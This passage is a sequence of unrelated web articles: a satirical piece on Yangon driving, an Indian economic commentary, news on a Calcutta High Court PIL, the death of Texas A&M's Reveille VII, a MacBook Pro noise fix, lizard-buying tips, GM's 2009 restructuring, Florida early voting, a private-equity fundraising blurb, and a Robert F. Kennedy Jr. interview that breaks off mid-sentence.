out.  Lane markings. People spend hours painting white lines on the roads, but I have no idea why they bother. White lines are for sissy’s, especially at roundabouts. Want to know how to spot a Brit in Yangon? Head down to any roundabout and watch the cars conscientiously following the marked lane. Yep, that’s a Brit. The only problem is that all the other vehicles take the racing line around roundabouts - if you’re in the far right lane at the entry to the roundabout you drive straight ahead so you reach the far left lane by the apex of the roundabout. You know it makes sense - it’s the shortest, fastest route and therefore saves fuel! Oh, and in case you’re wondering please refer to items 1 and 2 above about the standard operating procedures for use of door mirrors and indicators while adopting this manoeuvre.  Yellow junction boxes. People also get paid to paint these markings on the roads too, but in Yangon their purpose is just to brighten up those dull grey roads. Don’t be fooled into thinking that cars are supposed to keep them clear at all times, especially in traffic jams. What’s the point of watching other drivers being able to move if you can’t? No, no, no. The Yangon way is to completely block up every junction so at least you have the satisfaction of knowing that everyone else is stuck just like you.  Horn. Every empty taxi horns at every person minding their own business walking along the pavement. Don’t they realize if we wanted one of the million taxis around town we would be standing on the kerb flagging them down? My favourite though is the driver behind me at the traffic lights who horns the nanosecond the light changes to green. Does he think this is some quiz game and the first to press the buzzer wins? For goodness sake I CAN SEE TOO! If I COULDN’T see they wouldn’t let me drive (well maybe I’ll take that back because I am absolutely positive that 50% of the bus drivers here are totally blind)! Next time someone does that to me I’m trying a new tactic. I’ll keep my foot firmly on the brake but engage reverse gear so I can see the horror on their faces when they see my reversing lights and think I’m going to reverse into them. Yes they’ll horn even more…  Bicycles. Don’t get me wrong, I’m a fan of bicycles. They have just as much right to be on the road as any car and are a great way to keep fit. I also hope the sai kaa (tri-shaws) remain a part of Yangon’s streets for years to come – they provide a really useful service, enable people to earn a living and add real character to the city. No, my problem is at night. After 3 years living in Yangon I have seen a grand total of one (yes ONE) bicycle with lights on at night. It would be a step in the right direction if bicyclists wore white shirts at night. But no, the preferred outfit is a black Iron Cross T-Shirt and dark longyi. If you don’t see many bicycles on Yangon streets it’s not because people don’t know how to ride them. It’s because we’re in the middle of a real live Darwinian experiment and Yangon bicyclists are becoming extinct as the species get wiped out. Survival of the fittest? No, its survival of the cyclists who ride at night with lights on.  Parking. Most cities have worked out by now that traffic on major roads has to be kept moving and therefore vehicles are not allowed to stop and block a lane. Unfortunately Yangon lives on a different planet, because vehicles can block any lane, anytime. All vehicles also carry a trump card at school times which allows them to double or even triple-park alongside each other while dropping off or collecting kids. Now I have a young kid, so I too want my son to be safe when he goes to school. But can we please do a trade? Let’s introduce traffic wardens at kid’s school crossings and take away drivers’ rights to block any lane on a major road. Is that a deal?  Pedestrian Crossings. I have no doubt the newly opened Mercedes showroom will be a huge success. The distinctive cross-hairs badge on the bonnet of their cars is the perfect accessory for Yangon’s drivers as they aim at any pedestrian foolish enough to step onto a marked pedestrian crossing. As a kid I used to enjoy playing on stepping stones across a stream near my house. In Yangon that experience has given me a critical survival tool as I take a series of leaps from the edge of one lane to another as vehicles whizz by on both sides. I’ve lost weight since I moved to Yangon. It’s not because of the food or the climate, it’s because I need a flat tummy for crossing the road so I can fit between the sides of buses as they roar past me on adjacent lanes.  Betel Leaf and Nut. Why am I talking about a seed when this article is about driving? When I first came to Yangon, I was horrified at the number road deaths, evident by the blood smatters dripping down every driver and passenger door. Since then I’ve learned that emptying the mulched red contents of your mouth over your own vehicle door, the road, any adjacent car or nearby pedestrian is considered acceptable behavior. My advice is to always, ALWAYS keep your window closed when inside your car, and carry an umbrella when walking near traffic. It’s nothing to do with the sun or the monsoon, it’s just that if I wanted to have red hair I’d dye it myself thank you.  Buses. I know, I know, you’ve been waiting for this one. Where to start? I really love the conductors hanging out of the side door, waving their arms, shouting unintelligibly and pointing to show that the driver is going to turn left, when they immediately turn right. I love the access doors being on the wrong side of the vehicle so passengers step into moving traffic. I love the broken suspension on one side so you look up to see passengers staring straight down through your sunroof as the bus sways at a 45 degree angle around the corners. I love the drivers’ pinball machine driving techniques, bouncing from one non-existent gap in the traffic to another. I love how they drive up the wrong side of the road, directly into oncoming traffic, to get to the head of the traffic jam. Have Yangon’s bus drivers ever seen Mad Max? I doubt it, but they soon will…  Oh, the delights of driving in Yangon!
-The Narendra Modi government finds itself clueless on how to tackle the present economic slowdown and growing unemployment in traditional as well as IT sectors. Certain exercises were conducted in the finance ministry after Yashwant Sinha gave the matter a political spin. However, there are sharp differences even on the efficacy of traditional remedies like increased public investment, rate cuts and a special boost to employment-intensive sectors.  So far, there is clarity on one point: there will not be any fiscal stimulus. Barring this, the government and its advisors seem to be at a loss to find any workable measures to bring the economy back to health. Nitin Gadkari has put forth an ambitious Rs 6.9 lakh crore worth new highway corridors plan. But highly-mechanised highway construction has very little job-creation prospects.  The Prime Minister’s Economic Advisory Council, set up on September 25, was not able to prescribe any specific steps to tide over the crisis. After its first formal meeting on October 11, the council only identified ten priority areas like fiscal and monetary policy and economic governance. It carefully avoided suggesting any actionable measures. After the meeting, its chairman Bibek Debroy did not reveal much about the deliberations. But the council did consider the need for out-of-the-box solutions after the government is left with very few traditional options.  For about three years, finance minister Arun Jaitely has been going round liberalising the economy as per the classical reform texts, removing hurdles in production and scrapping foreign direct investment (FDI) caps. In May this year, he valiantly abolished even the Foreign Investment Promotion Board. The Planning Commission, which was seen as the sole reason for stifling growth, was scrapped three months after Modi took charge.  The railways, it was presumed, was languishing because of the separate rail budget. So it was abolished. At the end of this three-year-long scrapping spree, the prime minister insisted that India must focus on the ease of doing business. What worries the government is why the economy suffered such severe setbacks even after their liberalisation push.  During the Manmohan Singh era, the reform writers had ready scapegoats. Every fall in production was attributed to obstructions by the supporting Left or 10 Janpath’s ‘remote control’. Meddling by Sonia Gandhi’s National Advisory Council was another standard explanation. Even business and trade associations were harsh on the UPA governments when India saw double-digit inflation and a steep fall in the rate of industrial production around June 2008.  But in those days, all this was attributed to a ‘weak’ prime minister’s inability to take up reform measures. Atal Bihari Vajpayee had an adversarial RSS and its outfits like the Swadeshi Jagran Manch and Bharatiya Mazdoor Sangh. He had to factor in Nagpur’s periodic warnings. The Modi government is not hamstrung by a remote control or such obstructions from within.  At the party level, two ‘practical’ suggestions have come from BJP’s business friends, especially from centres like Surat. They have suggested soft-pedalling of the ongoing tax raids and Enforcement Directorate notices on lakhs of firms, shell or genuine. This, they have told the BJP chief, had demoralised the business community. The second suggestion is to order an across-board rate cut in the Goods and Services Tax (GST) for the first two years to provide breathing space for traders, and to help them switch over to the white economy.  Unfortunately, both these demands will harm the Modi government’s ‘can-do’ image. The widely-publicised black money raids were part of Modi’s personality build up as a strong leader out to wipe out black money, an election promise he had made a cornerstone of the BJP campaign. There have been frequent cuts in GST rates under pressures from the government’s friends. An across-board reduction will considerably dilute the very purpose of the GST, which was bandied about as a major tax reform for foreign investors.  For this government, the appointment of an advisory council itself is a significant comedown. Gone are the days when the prime minister was lampooning the ‘Harvard wallas’, claiming he had the ‘pulse of the people’. After the economic slowdown became an issue of public debate, there has been a letup in the announcement of new schemes. One of Modi’s first acts was to scrap the former PM’s group of ministers – about 70 of them – and pass on their powers to the PMO. After the demonetisation disaster, the much derided group of ministers is back. Jaitely presides over the cabinet panel on exchange traded fund with Piyush Goyal and Dharmendra Pradhan as members.  But the most striking aspect of the present economic muddle is the eerie silence on the part of business writers and industry associations. Compare this with the sharp criticism of the economic policies during the Vajpayee and Singh governments. Where have all the acerbic analysts and reform warriors of yesteryears gone? Have they lost their voice? Or do they feel they don’t have anything more to suggest other than labour act changes and retail in FDI?  P. Raman is a senior journalist.
-The Calcutta High Court on Thursday refused to admit the Public Interest Litigation (PIL) regarding Prof Ambikesh Mahapatra,who was arrested for allegedly circulating a cartoon of Chief Minister Mamata Banerjee.  Advertising  Vishak Bhattacharjee,a resident of Kolkata,filed a PIL seeking intervention of the Calcutta High Court as the state government did not implement the recommendation of the human rights commission to pay a compensation of Rs 50,000 to Mahapatra. When advocate Bikash Ranjan Bhattacharjee,counsel of the petitioner moved the plea,the Division Bench of Chief Justice Arun Mishra and Justice Joymalya Bagchi asked why the issue should be treated as PIL as it was a matter between the rights panel and an individual.  The court also asked why the person concerned ( Prof Mahapatra) not filed a case,and what interest did the litigant have in filing the PIL.  The Division Bench said: “The media wrongly reported on March 1 that the petition was admitted. It was not correct.” Recently the state government informed the rights panel that it would file action-taken report within six weeks. The Division Bench was informed of this too.
-*10 P.M. Update*  Texas A&M's former mascot, Reveille VII, has died.  The former First Lady of Aggieland died Thursday morning after undergoing emergency surgery at the Texas A&M Veterinary Hospital.  Reveille VII served as Texas A&M's Mascot from 2001 to 2008.  She died after complications from an ulcer and pneumonia.  Now the former highest ranking member of the Corps of Cadets is being remembered for her contributions to the Aggie spirit.  She came our way from Florida becoming Texas A&M's 7th mascot Reveille in May 2001.  A precious puppy that would become the First Lady of the Corps of Cadets.  James Mulvey was a member of the Corps when News 3 interviewed him in 2006 and was proud to be her handler.  "I leave the dorm about 15 minutes early. I know somebody or a group of people is going to stop me," he said at the time.  From chewing on Bevo along the sidelines during the Lone Star Showdown to even special birthday parties like her 10th in October 2010.  Reveille posed for many pictures but was known to bark at strangers.  "That is her paw, her official paw print," said Tina Gardner as she looked through a scrapbook.  Tina and Paul Gardner of College Station took care of her in her retirement years from 2008 till her passing.  She became ill this week and Thursday morning died of complications from an ulcer.  'I wouldn't say she was spoiled. She was definitely regal," said Paul Gardner.  "She was spoiled," laughed Tina.  Recently Reveille began water treadmill treatment at the Texas A&M Vet School for arthritis.  The Gardners were already planning her 13th birthday for this fall and were planning a "Bark mitzvah," as they are Jewish.  "Maybe she wanted the party part of the "Bark mitzvah," but she really didn't want to have to learn the Hebrew part and so she just chose to go to heaven early," added Tina Gardner.  Funeral arrangements have not been set yet but are expected to happen in September once school resumes with a final resting place in front of Kyle Field looking at the scoreboard.  She would have turned 13 on October 9th.  The Gardners say the Reveille Cemetery will not be impacted by renovations at Kyle Field.  Texas A&M Corps of Cadets Statement  The Office of the Commandant and the Corps of Cadets are deeply saddened to hear of the passing of Reveille VII, the former “First Lady of Aggieland” today in College Station. As Aggies we are all very proud of our mascot, and we have great respect for her and all the tradition that she represents. We in the Corps of Cadets are especially fond of Reveille, as she has been part of the Corps from the beginning, lives with the Corps every day as a member of Company E-2, marches with the Corps at all march-ins and parades, and is the highest ranking member of the Corps of Cadets. We will remember with great fondness all the joy that Reveille VII brought to all Aggies during her time as our mascot, and will remember her excited barks every time our football team scored a touchdown. We know that she will continue to do so in the future as she joins the other Reveilles in the North end of Kyle Field where she will always be able to see the scoreboard and bark for her team. Rest in Peace Miss Reveille. You will be missed but never forgotten…  Reveille  *Previous Story*  The former mascot of Texas A&M, Reveille VII, has died, according to the university.  Reveille was taken to the veterinary school on campus earlier in the week and eventually had to undergo emergency surgery. She died Thursday morning.  The collie was born on October 9, 2000. She was bred in Florida and located by the university after a nationwide search. She officially became A&M's seventh mascot by the Reveille name in May 2001.  Reveille VII retired in the summer of 2008, and had been living with local residents Paul and Tina Gardner.  Details on services for the dog are still being worked out.  Known as the First Lady of Aggieland and the highest ranking member of the university's Corps of Cadets, the Reveille serving as the mascot lives with a cadet on campus and goes to classes with the student.  The first Reveille was a black and white dog hit by students on the way to Navasota and brought back to campus for medical care. When the dog began barking the next morning at the Reveille bugle call, the dog was named after the call.  The university would later decide that the dog should be a collie. The first was Reveille III.  More on this story later on News 3 and KBTX.com  Story on one of Reveille's handlers from 2006  ---  The following press release was issued by Texas A&M University regarding the death of Reveille VII:  COLLEGE STATION, May 30, 2013 — Texas A&M University’s mascot that was retired in 2008, Reveille VII, died today after being hospitalized earlier in the week and undergoing emergency surgery at the Small Animal Clinic at the College of Veterinary Medicine and Biomedical Sciences (CVM). She was 12 1/2 years old.  University and Corps of Cadets officials say plans for a suitable memorial service will be announced as soon as details can be finalized. University officials note in planning a suitable memorial service for Rev. VII, they will take into consideration the fact that most students will not return to school until the fall. When Rev. VII’s predecessor died, which also occurred during the summer, the ceremony was deferred until after the start of the fall semester.  Texas A&M mascots are placed in the daily care of the Corps of Cadets’ Company E-2. Reveille is considered “the first lady of Aggieland” and the highest ranking member of the Corps.  Since being retired, Reveille VII had been living with Tina and Paul Gardner who reside in College Station. He is a 1966 Texas A&M graduate.  “Having Reveille VII with us for five glorious years has been one of the greatest things to happen to us during our 46 years of marriage,” Mr. and Mrs. Gardner said in a statement requested by university representatives. “Besides our son, Todd, and his family, wife Stacey, and our three precious grandchildren—Avery, Addison and Adam Gardner—Reveille VII was right up there in our hearts and eyes.”  Reveille VII, was an American Collie, as is her successor, Reveille VIII, the university’s current mascot.  Dr. Stacy Eckman, the veterinarian who had cared for Rev. VII’s medical needs for the past two- and-a-half years, said the university’s retired mascot had been treated for several years for arthritis, as well as other conditions. She was joined by other CVM veterinarians and staffers when the retired mascot was brought in for treatment Tuesday.  Considering her age, Rev VII had been in relatively good health until Tuesday morning, Dr. Eckman said. She noted the average life span for a relatively large dog, such as a collie, is about 12-15 years.  “The Gardners took incredible care of Reveille VII the last five-and-a-half years and that certainly contributed to her longevity and exceptional quality of life,” Dr. Eckman said.  Mr. and Mrs. Gardner were asked by university officials to have Rev. VII live with them about five years ago. They have been actively involved with the Corps of Cadets, as well as other aspects of the university, for more than 40 years. Their son, Todd, is part of the Class of '94 and was a member of Company E-2.  The couple established a fund in 1998 to help cover out-of-pocket expenses for the cadet in Company E-2 designated to be the mascot’s primary handler. Additionally, they established a $50,000 endowment for the benefit of the Small Animal Clinic at the College of Veterinary Medicine and Biomedical Sciences “to give back to the university for the prestigious honor of taking care of Reveille VII during her retirement.”  The Tina and Paul Gardner Reveille VII Research Endowed Fund was established through the Texas A&M Research Foundation for basic science research. The couple invites others to make tax-deductible donations of any amount payable to the fund.
-Since a while now I can hear a metallic ticking clicking sound coming from my new MacBook Pro i5 Unibody. It can be described as a glassy, high-pitched scraping sound. Sometimes, moving the computer or resting your hands or just touching it will cause the noise. Other times, the noise just happens of its own accord.  Because I have a SSD I knew it was not the hard drive I was hearing. I did wonder if I was the only person who had this problem, but I quickly found out there are a bunch of others who also complain about this clicking sound inside their MacBook Pro Unibody. There are even some who had record the sound of it or have made some YouTube video to show how it can be reproduced.  Don’t even try to ask the Apple Genius Bar or the Apple Support Department, they do not even know what you are talking about, stating it is the CD laser head locking sensory system you are hearing.  I had finally found a solution, and fixed the problem of this strange clicking sound in my MacBook Pro. All this thanks to Ten 1 Designer’s blog, the maker of the now famous pogo sketch stylus.  Here’s how to solve the tick-click sound in your MacBook Pro Unibody:  You need to unscrew the back cover of your MacBook Pro and remove a little spring connector that touch (and scrape noisily) the bottom of the metallic casing when the computer heat up.  Ten 1 explain why removing this little connector will solve the problem (and it did) and also why it is not a crucial piece of equipment in your MacBook Pro:  The bottom cover of the MacBook Pro serves as a shield for radiated electromagnetic energy. A great shielding strategy is to find a huge piece of metal, and connect your circuit to that metal wherever possible. The MacBook Pro Unibody enclosure and bottom cover make a terrific shielding system. One of the connectors in this system touches the bottom plate right in the center where it flexes a lot. When the computer heats up, the metal pins in the connector scrape noisily against the cover and chassis. It makes you want to eat your hands. By removing the connector (two easy screws!), you remove one of the grounding connections between the unibody enclosure and the bottom cover. Don’t worry: there are plenty of other connections, and they are adequate for the purpose. Result: Quiet, harmonious environment restored.  Cannot say better. My peace is genuine. Thanks guy!
-There are many types of lizards for sale online, but what should you watch for when you buy these animals using the Internet? There are some steps you should take before you ever buy any reptile from an online source, and this is true whether you want to buy chameleons for sale or another type of lizard. Online purchasing means that the animal must be shipped to you, and if the animal is not in excellent health or the shipping is not handled properly then you could end up buying lizards for sale which may die or become ill after you receive them.  If you are searching for bearded dragons as pets or you want to find an iguana you may not be able to go to your local pet store. Many stores do not specialize in lizards and other reptiles, and in some cases it may be necessary to buy lizards for sale online instead. The best option is to use a reputable breeder, one who has been in business for a while and has a reputation for healthy high quality reptiles. Online purchases means that the animal must be shipped, and this is normally done using FEDEX since UPS no longer allows for the shipment of pet geckos for sale or other live reptiles.  Finding online lizards for sale is easy, but you will want to make sure your reptile stays comfortable and has as little stress as possible during the shipping process. Experienced reptile suppliers who provide live shipping in the cooler months will usually add some hand warmers to the package, to keep the lizard warm and prevent any health problems. Check out the breeder you use carefully, and ask questions to ensure you are getting the healthiest reptile possible. Most breeders specialize in certain species, and this can give you reassurance. A good tip is to ask about the care of your animal before making the purchase. A water dragon breeder who can not explain water dragon care is probably not the best choice. The breeder should know all about caring for the reptiles offered, and if they do not this can be a sign that you should find another breeder instead.
-The ailing carmaker General Motors has proposed handing a controlling stake of more than 50% to the US government as it struggles to reach a deal with its lenders to avert imminent bankruptcy.  The nationalisation, in effect, of the biggest US motor manufacturer would be part of a huge debt-for-equity swap as GM tries to shed $44bn (£30bn) of $62bn in crippling liabilities owed to the government, trade unions and bondholders.  But the plan was condemned last night as "neither reasonable nor adequate", by bondholders who would get only 10% of the company, forcing them to write off billions of dollars. Existing shareholders would be left with only 1%.  With its future on a knife-edge, GM delivered a blunt warning that unless its creditors accepted the plan, it would declare bankruptcy and leave the courts to carve up the company. Fritz Henderson, the chief executive, told a press conference at the company's headquarters: "If this cannot be accomplished out of court, we'll go into court and restructure GM under bankruptcy if it's necessary."  As it struggles to stay afloat, GM has deepened cuts that will include 23,000 job losses by 2011, the closure of 16 of its 47 factories in the US and a 42% drop in the number of dealers selling its vehicles.  GM announced it was shutting its 83-year-old Pontiac marque as it slims its portfolio of brands to focus on just four names in the US: Chevrolet, Cadillac, Buick and GMC. The gas-guzzling Hummer and Sweden's Saab will either be sold or closed by next year but GM made it clear that Britain's Vauxhall brand was not under threat.  Summing up the company's predicament, Henderson described the position as "difficult, challenging and painful".  "None of us like this situation we're in but it's our job to do something about it," he said. "We need to have a more stable and sustainable business model because, candidly, we only want to do this once."  A tough-talking GM veteran, Henderson has led efforts to rescue the company since the Obama administration sacked his predecessor, Rick Wagoner, last month. GM and its smaller rival, Chrysler, are teetering on the brink of oblivion and are struggling to convince the government to extend further financial support. "The task at hand in terms of what we need to get done is formidable," Henderson said. "But it can be done."  Under the company's plan, the US treasury and the United Auto Workers' union would get 89% of the company between them. In return, the government would write off half of the emergency lending extended to GM by US taxpayers.  The union's shares would replace the billions of dollars due to be pumped into a trust fund to cover employees' healthcare.  GM has offered a 10% stake to bondholders, who are owed $27bn – a tough proposition to swallow. For each $1,000 of loan notes, bondholders would get 225 shares, worth little more than $550 at today's market price.  The Obama administration insisted that private-sector creditors should get no more than this slim return, demanding that unions and taxpayers receive the lion's share of the company. But in order to proceed, the proposal must be accepted by an overwhelming majority of 90% of bondholders by a deadline of 1 June.  An ad hoc committee representing bondholders last night vigorously objected to the carve-up: "We believe the offer to be a blatant disregard of fairness for the bondholders who have funded this company and amounts to using taxpayer money to show political favouritism of one creditor over another."  Rebecca Lindland, an analyst at IHS Global Insight, said many bondholders were likely to believe they could get a better deal under a bankruptcy arrangement: "The Obama administration may be more pro-union than a bankruptcy judge but it's really a roll of the dice."  Jeremy Anwyl, chief executive of the auto research website Edmunds.com, agreed: "There's no reason for bondholders to accept this if they think they can get a better deal under bankruptcy."  GM's smaller rival, Chrysler, has a deadline of Thursday to strike a rescue deal with Italy's Fiat without which the US government has said it will withdraw financial support. Daimler assisted the process last night by in effect writing off its 19.9% stake in Chrysler and $1.9bn in loans.  For GM, the challenge is to shrink to a scale where it can break even with sales of 10m cars in the US annually, rather than the previous rate of 15m to 17m.  "It's been my theory over time that big is only good if you use it to your advantage," Henderson said. "As a company, our overall performance has just not been adequate."  Pontiac, long known for its sporty designs and once marketed as GM's "excitement division", is a prominent casualty. In Europe, however, Henderson signalled ongoing commitment to Vauxhall cars, which are produced in Ellesmere Port on Merseyside, and in Luton. He said the company had a "fantastic team" running the brand.
-Early voting started here in Florida today and voters are turning out in droves, lining up despite rain showers and gusty winds. In Boca Raton, some anticipated the long lines and camped out overnight to be the first in line to cast their votes. The enthusiasm, however, seems limited to Obama supporters.  In Boynton Beach, the early voters line was swamped by an even longer line of citizens waiting at the Civic Center next door, where the Obama campaign was giving out 500 tickets for an Obama appearance tomorrow in nearby Lake Worth. The tickets ran out in a matter of minutes, many in the crowd turned away empty handed.  Susan Horne, a Boynton Beach resident proudly said she was the second voter in Palm Beach County. "I voted for Barack Obama and I hope he's our next president."  Sonya Mitchell, another early voter said she was voting for Obama, too, "and it's not because he's Black, either. I'd vote across party lines for a good candidate, even though I'm a registered Democrat."  John Gavriluk of Delray Beach said he's a small-business owner voting for Obama. "Yes, enthusiastically so. He is visionary, like Colin Powell said in endorsing him. And he does represent a new generation of Americans who are united because he's a 'new breed of politician.' He's articulate, he's bright and he has an even, thoughtful temperament. Our country needs that right now."  Florence Rein and her husband Rubin were waiting, too. "I'll be 89-years old tomorrow and if Obama wins the election I'll think of it as a birthday present. My husband is 93 years old, and we're both voting for Obama." Said Rubin: "It's all about the issues facing our country right now. This crisis has forced Americans to think hard about the future."  "It's also time for us Caucasians to put aside any remaining prejudice. Barack Obama is a beautiful young man," said Florence. "Although I was originally a Hillary supporter, I'm voting for Barack Obama because he represents our future as a country."  Mac Arthur of Boynton Beach emigrated from Haiti and became a citizen only last year. "We really need to reset the button on the way we are seen in the world. Barack Obama represents that change. For the last eight years the way we have been viewed is not what we are about in America."  No McCain supporters in line were willing to step forward.
-Share:  Our recently released Fundraising & Capital Overhang Report breaks down dry powder by vintage year, summarizes which fund classes are most successful in collecting commitments and forecasts what all this means for the industry in the years to come. For the main takeaways from the report, watch the video above or peruse the charts below.  With $535 billion in capital overhang through 2Q 2014, the PE industry still needs to make a dent in its massive dry powder cache, which could portend continued strong activity in 2015 even if valuations remain high.  The step-ups in size of 82% of 2014 funds were modest, indicating PE firms are confident and taking advantage of the fundraising climate but are still aware of their overhang.  To explore the underlying data of these trends, contact us for a free trial of the PitchBook Platform today.  VC fundraising was similarly healthy. One of the more interesting VC fundraising trends has been the rise of sub-$50 million vehicles, as well as a resurgence in big multistage funds, which implies a possible split toward increased activity in the lower and upper ends of the market.
-AMY GOODMAN: One of the most moving events at the Democratic National Convention was the speech delivered by Massachusetts Senator Ted Kennedy in one of his first public appearances since being diagnosed with brain cancer in May. He flew into Colorado, taken immediately to the University of Denver Hospital. Though his family and doctors had advised against it, he went to the Pepsi Center, accompanied by paramedics and a doctor. On the convention floor, he was accompanied by his niece, Caroline Kennedy, daughter of President John Kennedy, and his wife Vicki.  A day after he spoke, the Kennedys gathered at the historic Brown Palace Hotel in Denver to remember another Kennedy, Ted’s brother, Robert F. Kennedy, slain forty years ago, the night he won the Los Angeles Democratic primary. After the event, I sat down with his son, Robert F. Kennedy, Jr., the environmental attorney.  ROBERT F. KENNEDY, JR.: One of the most poignant memories I have of my father was a trip that we took to Europe when I was about thirteen years old, and we went to Czechoslovokia and Poland and Italy and Greece and France and Germany. And everywhere we went, we were met by vast crowds of people, hundreds of thousands of people, who came out because they wanted to be near an American politician. And it wasn’t just because my father’s brother had been martyred three years before. The same thing happened to Eisenhower when he went to Kabul and Tehran. A million Muslim people met him on the street waving tiny little American flags. And what I remember as a boy is these crowds of people that were just hungry for American leadership, and they — not bullying. They knew the difference. And they were starved for a moral authority. And they proudly named their streets after our presidents, Washington and Jefferson and Lincoln and Roosevelt and Kennedy.  And I remember the day after 9/11, when the headline on the biggest newspaper in France, Le Monde, was “We’re All Americans Now.” And for three weeks after 9/11, thousands of Muslim people came out spontaneously onto the streets of Tehran to make candlelight vigils to show their support, their solidarity, their love for the United States of America. We were the most beloved nation on the face of the earth and in the history of mankind.  And it took 230 years of disciplined visionary leadership by Republican and Democratic presidents to build up those vast reservoirs of public love for our country. And in seven short years, through monumental arrogance and incompetence, this White House has drained those reservoirs dry. We are now, according to virtually every poll, the most hated nation and feared nation on earth. And anybody who says that it’s good for our national security when European youth, as a recent poll showed, hold Osama bin Laden in the same regard as they hold President Bush, and anybody who believes it’s good for our national security when Hezbollah is as popular in the Mideast as America has their head in an oil well.  You know, Abraham Lincoln said America — we’re doing things today that were inconceivable a few years ago. We’re torturing people in America. We’re eavesdropping on our citizens. We are having extraordinary renditions. We’ve suspend habeas corpus. We have these black prisons. And, you know, Abraham Lincoln said that America is a good nation — is a great nation, because we’re a good nation. And he warned that if we ever lose our goodness, we’ll quickly forfeit our greatness as well.  You know, people say in the White House that we have to do these things, because we’re under such terrible threat. But that’s a lie. When I was a little boy, we had 25,000 nuclear-tipped missiles pointing at our country from the Soviet Union with one guy able to press a button and vaporize most of our population. And we weren’t torturing people and eavesdropping on our citizens and suspending habeas corpus. During the Civil War, 659,000 Americans died. Our cities were burned and occupied by foreign — by hostile armies. And we didn’t engage in those kind of behaviors.  You know, during the Revolutionary War, George Washington was approached by his generals with the idea of torturing British soldiers to extract strategic information. At that time, the British were torturing our soldiers in New York Harbor on coffin ships and killing them by the dozens every day. Washington said to them, “I would rather lose the war, because this is the first nation in history that is based upon an idea, and the idea is one of essential human dignity and justice.” And he said, “We’re not — I’d rather the British continue to rule us than become — than to lose that.” And, you know, he established codes of conduct for the treatment of prisoners, fair treatment of prisoners and humane treatment. And the Hessians that he captured on Christmas Eve were so shocked by the good treatment they received from the American captors that after two weeks in prison, they agreed to walk unguarded all the way to POW camps in western Pennsylvania, and not a single one escaped.  During the Civil War, Lincoln’s general suggested — made the suggestion of torture, and he was so horrified by the idea, that he created a committee to establish a standards — a report with standards for the fair treatment and humane treatment of prisoners of war. And eighty years later, that document became the Geneva Convention.  During World War II, Eisenhower was asked about torturing Germans at a time when Nazis were torturing our prisoners and POWs. And Eisenhower said, “Americans don’t do that.” And he said — and during World War II, German soldiers surrendered to American soldiers by the thousands, because they had heard from their fathers, who fought in World War I, “Always surrender to an American, because Americans don’t torture people.”  You know, a few weeks ago, I had John Dean on my show on Air America. And John Dean, as you know, was the counselor to President Nixon during the Watergate scandal. And Dean said to me — Dean went to prison for his participation in the cover-up. And he said, “You know, we eavesdropped illegally on one office, and I went to jail for four months, and my boss was impeached and then forced to resign.” And he said, “These people have illegally eavesdropped on hundreds of thousands of Americans.” And he said, “Where’s the impeachment? Where are the convictions? Where’s the imprisonment? Where’s the jail term? Where is the American press? Where is the indignation?”  And, you know, we need to continually remind ourselves that the Bill of Rights is not a luxury we can no longer afford and that America is not just a place where people come to, you know, increase the size of their pile, and whoever dies with the most stuff wins. Our nation is an exemplary nation. And that’s the way the world regards us, and that’s what they want from us. And when we start lowering our standards, we lose our prestige, we lose our capacity to influence world events, and we lose the soul of our country. And we now need to gain that back.  AMY GOODMAN: So, what do you make of Nancy Pelosi? I mean, the fact is, it’s not the Republicans who control the House and the Senate, it’s the Democrats who do. And she says impeachment is off the table. They say just consider the election a way to get rid of the President.  ROBERT F. KENNEDY, JR.: Well, I don’t believe it. I think, you know, what I’ve said to Nancy Pelosi publicly and to every Democrat that comes on my show, I say, “Why aren’t we impeaching these people, just as a civics lesson to the American public? You know, we need that. We need to remind people that you cannot trample the Bill of Rights. You cannot ignore your oath of office to protect the Constitution.”  You know, there’s no doubt that they committed a crime. Everybody admits it. When it was FISA, when they — you know, when they illegally eavesdropped, there’s no justification for that. It is a crime, and it’s a high crime. And it’s a high crime that’s prescribed, you know, for — as the basis for impeachment. And they ought to be impeached, just so that nobody does it again. We can’t just keep — you know, if somebody is murdered. You just don’t say, “Well, let it go, and move on. Nobody really wants to deal with a trial and all that problem.” It’s our responsibility as a generation to impeach these people now as a showcase, to show future presidents of the United States that the Bill of Rights is not something that can be trifled with, that the Bill of Rights is not just a luxury that we can no longer afford.  AMY GOODMAN: Perhaps their calculation is they are courting Republicans to leave the Republican Party and vote for a Democrat and that if they polarize the country, that they won’t have that option.  ROBERT F. KENNEDY, JR.: Well, sometimes you have to do what’s right. And I think, in the long run, it’s the politically smart thing to do, because I think Americans — you know, and I’ve been prosecuting polluters and suing people for years, and when you sue somebody — when you say bad things about somebody, everybody just dismisses it as criticism. But when it becomes a court case, everybody begins taking it seriously. And at this point, you know, it’s clearly the right thing to do, because you can’t let somebody — all of these people, Nancy Pelosi on down, have sworn to protect the Constitution. How can you protect the Constitution when you’re letting somebody violate it and then just say, “Well, we’re going to let this one go, and then we’ll move on to the next one”?  AMY GOODMAN: Well, we’ve just come into a Democratic convention here in Denver, where the Democrats joined with the Republicans in granting retroactive immunity to the corporations like AT&T that spied on the American people. And now, all the delegates carrying around their bag have that logo of AT&T. They’re helping to sponsor this convention.  ROBERT F. KENNEDY, JR.: Oh, I know. Well, I always say that Republicans are 95 percent corrupt, and the Democrats are 75 percent corrupt. And the level of corruption reflects the amount of money, of corporate money, they’re taking. I mean, they’ve got AT&T all over their bags, and they’ve got these clean coal signs that are, you know, up and down the streets, that you get mugged by these clean coal people who are apparently paying for half the convention. So, it’s very disturbing to me, Amy.  AMY GOODMAN: Now, your family is divided, right? Caroline Kennedy and your uncle, Ted Kennedy, for Obama; your family is for — has been for Clinton. What are your thoughts right now?  ROBERT F. KENNEDY, JR.: No, everybody is for Obama. You know, the primaries are over. The day the primaries ended, the last primary ended, we all started working for Obama. And, you know, I said from the beginning, we have two great candidates, and I’m happy supporting either one of them. I believed, for my own reasons, that Hillary Clinton had the best chance of winning the election, but I love Barack Obama. And, you know — and from the beginning, I was defending, you know, him against the Republican attacks, even when I was campaigning for Hillary. They started attacking him for not wearing his flag lapel pin. And, you know, this is so ironic and so absurd that that’s the measure of patriotism. You put on a flag lapel pin so you can free both hands to tear up the Bill of Rights, you know, and that’s really what he’s saying, and he should have stuck with it. But anyway, we’re going to work, and we’re going to try as hard as we can to get him elected, because we need this for America.  AMY GOODMAN: You’re involved in a piece in Rolling Stone right now around voting, the issue of voting all over the country. What are your concerns?  ROBERT F. KENNEDY, JR.: Well, the Republican Party has put in place a system for suppressing the Democratic vote, particularly African American voters, Hispanic voters and American Indian voters. And there’s fifty different tricks that are using — of legal mechanisms that now make it very, very difficult for those groups to register, then to vote, and third, to get their votes counted. And they’re complex, very sinister, cunning and 